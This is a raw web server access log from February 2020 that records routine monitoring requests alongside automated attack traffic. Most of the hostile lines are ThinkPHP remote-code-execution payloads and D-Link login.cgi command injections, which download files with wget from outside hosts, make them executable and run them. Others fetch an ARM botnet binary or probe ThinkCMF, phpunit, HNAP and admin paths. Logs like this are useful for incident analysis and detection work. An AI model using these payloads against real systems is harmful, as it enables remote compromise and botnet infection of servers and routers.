1.192.214.235 - - [02/Feb/2020:07:52:29 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.192.214.235 - - [02/Feb/2020:07:52:30 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.192.214.235 - - [02/Feb/2020:07:52:30 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.192.214.235 - - [02/Feb/2020:07:52:31 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.192.214.235 - - [02/Feb/2020:07:52:31 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.192.214.235 - - [02/Feb/2020:07:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.54.71.33 - - [02/Feb/2020:07:52:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [02/Feb/2020:07:53:08 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
217.58.61.49 - - [02/Feb/2020:07:53:16 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [02/Feb/2020:07:53:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [02/Feb/2020:07:53:55 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:07:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [02/Feb/2020:07:54:34 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
222.186.19.221 - - [02/Feb/2020:07:54:40 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
1.53.78.205 - - [02/Feb/2020:07:55:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [02/Feb/2020:07:55:55 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [02/Feb/2020:07:56:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.141.50 - - [02/Feb/2020:07:56:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:07:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [02/Feb/2020:07:57:32 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:07:57:51 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:07:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [02/Feb/2020:07:58:48 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
93.66.43.41 - - [02/Feb/2020:07:58:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:07:59:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.30.85 - - [02/Feb/2020:08:00:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [02/Feb/2020:08:01:16 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [02/Feb/2020:08:01:19 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:08:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.92 - - [02/Feb/2020:08:01:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.21.46.176 - - [02/Feb/2020:08:02:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:08:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.2.9.16 - - [02/Feb/2020:08:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
103.59.134.58 - - [02/Feb/2020:08:03:36 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [02/Feb/2020:08:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [02/Feb/2020:08:05:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [02/Feb/2020:08:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [02/Feb/2020:08:08:39 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
169.197.108.42 - - [02/Feb/2020:08:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
46.20.209.50 - - [02/Feb/2020:08:08:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.20.209.50 - - [02/Feb/2020:08:08:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.192.25 - - [02/Feb/2020:08:09:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.82.137.102 - - [02/Feb/2020:08:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:08:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.38.15.115 - - [02/Feb/2020:08:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:08:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.175.54 - - [02/Feb/2020:08:14:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
74.63.255.178 - - [02/Feb/2020:08:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:08:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.184.170.174 - - [02/Feb/2020:08:15:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [02/Feb/2020:08:15:51 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [02/Feb/2020:08:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.181.199 - - [02/Feb/2020:08:17:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.166 - - [02/Feb/2020:08:17:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [02/Feb/2020:08:18:27 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
111.34.71.90 - - [02/Feb/2020:08:18:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [02/Feb/2020:08:19:09 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [02/Feb/2020:08:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.213.246 - - [02/Feb/2020:08:22:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.188.248 - - [02/Feb/2020:08:24:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.65.177.98 - - [02/Feb/2020:08:28:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.169.171 - - [02/Feb/2020:08:29:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.213.102 - - [02/Feb/2020:08:30:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.141.37 - - [02/Feb/2020:08:31:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.238.114 - - [02/Feb/2020:08:32:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.87.13.85 - - [02/Feb/2020:08:34:16 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:08:34:17 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:08:34:18 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:08:34:20 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:08:34:20 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:08:34:22 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:08:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.87.13.85 - - [02/Feb/2020:08:34:23 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:08:34:23 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
110.87.13.85 - - [02/Feb/2020:08:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
220.130.38.76 - - [02/Feb/2020:08:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
213.197.175.58 - - [02/Feb/2020:08:34:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.80.226.167 - - [02/Feb/2020:08:35:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.132.14.214 - - [02/Feb/2020:08:35:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.141.200.95 - - [02/Feb/2020:08:35:26 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [02/Feb/2020:08:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.78.244.148 - - [02/Feb/2020:08:37:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.51.46.119 - - [02/Feb/2020:08:37:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:08:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.32.76.141 - - [02/Feb/2020:08:39:16 +0100] "GET ///admin/config.php HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
183.80.89.206 - - [02/Feb/2020:08:39:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.32.76.141 - - [02/Feb/2020:08:39:23 +0100] "GET ///html/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
42.119.205.109 - - [02/Feb/2020:08:39:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:08:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.80.136.111 - - [02/Feb/2020:08:41:12 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)"
212.91.246.72 - - [02/Feb/2020:08:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.32.76.141 - - [02/Feb/2020:08:41:26 +0100] "GET ///admin/config.php HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
178.32.76.141 - - [02/Feb/2020:08:41:27 +0100] "GET ///html/admin/config.php HTTP/1.1" 404 326 "-" "python-requests/2.22.0"
151.20.76.234 - - [02/Feb/2020:08:41:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.20.76.234 - - [02/Feb/2020:08:41:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
112.69.51.186 - - [02/Feb/2020:08:42:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:08:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
